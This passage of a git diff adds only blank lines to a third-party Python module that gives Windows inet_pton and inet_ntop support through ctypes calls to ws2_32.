'green', 'on_red', ['reverse']) - diff --git a/thirdparty/wininetpton/win_inet_pton.py b/thirdparty/wininetpton/win_inet_pton.py index 50ae621e5..ec016dde0 100644 --- a/thirdparty/wininetpton/win_inet_pton.py +++ b/thirdparty/wininetpton/win_inet_pton.py @@ -16,6 +16,7 @@ class sockaddr(ctypes.Structure): ("ipv6_addr", ctypes.c_byte * 16), ("__pad2", ctypes.c_ulong)] + if hasattr(ctypes, 'windll'): WSAStringToAddressA = ctypes.windll.ws2_32.WSAStringToAddressA WSAAddressToStringA = ctypes.windll.ws2_32.WSAAddressToStringA @@ -24,6 +25,8 @@ else: raise SystemError( "Invalid platform. ctypes.windll must be available." ) + + WSAStringToAddressA = not_windows WSAAddressToStringA = not_windows @@ -79,6 +82,7 @@ def inet_ntop(address_family, packed_ip): return ip_string[:ip_string_size.value - 1] + # Adding our two functions to the socket library if os.name == 'nt': socket.inet_pton = inet_pton

%s%s%s%s